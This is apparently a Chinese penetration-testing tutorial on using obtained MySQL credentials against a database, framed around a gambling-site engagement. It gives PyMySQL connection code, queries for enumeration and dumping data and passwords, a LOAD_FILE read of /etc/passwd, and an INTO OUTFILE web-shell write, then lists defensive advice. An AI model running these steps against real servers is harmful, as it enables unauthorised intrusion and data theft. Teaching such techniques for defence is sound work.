渗透实战 | 记一次bc常规打点dbshell
字数 703 2025-08-19 12:41:14
MySQL数据库渗透实战教学文档
0x01 背景知识
AKSK概念解析
-
Access Key (AK)
- 用途:唯一标识用户或应用程序的身份凭证
- 格式:字母、数字组合的字符串
- 示例:
${MYSQL_USER:xxx_db}
-
Secret Key (SK)
- 用途:用于API请求签名的私密密钥,确保请求真实性和完整性
- 格式:较长的高随机性复杂字符串
- 示例:
${MYSQL_PWD:pwdxxxx}
MySQL连接信息格式
jdbc:mysql://${MYSQL_HOST:IP}:${MYSQL_PORT:3306}/${MYSQL_DB:xxxx}?
- 包含主机IP、端口(默认3306)、数据库名等关键信息
0x02 环境准备
Python库安装
pip install pymysql
PyMySQL特点:
- 纯Python实现的MySQL客户端库
- 不依赖MySQL的C库
- 跨平台兼容性好
- 支持Python3
0x03 渗透实战代码
基础连接与查询
import pymysql.cursors
# 建立数据库连接
connection = pymysql.connect(
host='ip', # 目标MySQL服务器IP
user='xxx_db', # 数据库用户名
password='pwdxxxx', # 数据库密码
database='xxxx', # 目标数据库名
charset='utf8mb4', # 字符编码设置
cursorclass=pymysql.cursors.DictCursor # 返回字典格式结果
)
try:
with connection.cursor() as cursor:
# 执行SQL查询
sql = "SELECT VERSION()" # 查询数据库版本
cursor.execute(sql)
# 获取查询结果
result = cursor.fetchone()
print("Database version:", result)
finally:
# 关闭数据库连接
connection.close()
0x04 渗透测试扩展
常用渗透查询语句
- 信息收集:
-- 查询所有数据库
SHOW DATABASES;
-- 查询当前数据库所有表
SHOW TABLES;
-- 查询表结构
DESCRIBE table_name;
- 用户权限查询:
-- 查询当前用户权限
SHOW GRANTS;
-- 查询所有用户及权限
SELECT * FROM mysql.user;
- 数据提取:
-- 查询表中所有数据
SELECT * FROM table_name LIMIT 100;
-- 查询特定列数据
SELECT username, password FROM users;
高级渗透技巧
- 批量查询表数据:
# 获取所有表名
cursor.execute("SHOW TABLES")
tables = cursor.fetchall()
for table in tables:
table_name = table['Tables_in_xxxx'] # 替换实际数据库名
print(f"\nTable: {table_name}")
# 查询表数据
cursor.execute(f"SELECT * FROM {table_name} LIMIT 5")
rows = cursor.fetchall()
for row in rows:
print(row)
- 文件读取操作(需足够权限):
-- 读取服务器文件
SELECT LOAD_FILE('/etc/passwd');
- 写入文件操作(需足够权限):
-- 写入文件
SELECT '恶意内容' INTO OUTFILE '/var/www/html/shell.php';
0x05 安全防护建议
-
AKSK保护措施:
- 定期轮换访问密钥
- 最小权限原则分配权限
- 避免硬编码在代码中
-
MySQL安全配置:
- 限制远程访问IP
- 使用强密码策略
- 定期更新MySQL版本
- 禁用
LOAD_FILE和INTO OUTFILE权限
-
监控与审计:
- 启用MySQL日志
- 监控异常查询行为
- 定期审计数据库权限
0x06 总结
本教学文档详细介绍了基于AKSK凭证的MySQL数据库渗透测试流程,从基础连接到高级查询技术,涵盖了信息收集、权限提升和数据提取等关键环节。同时提供了防护建议,帮助安全人员理解攻击手法并加强防御。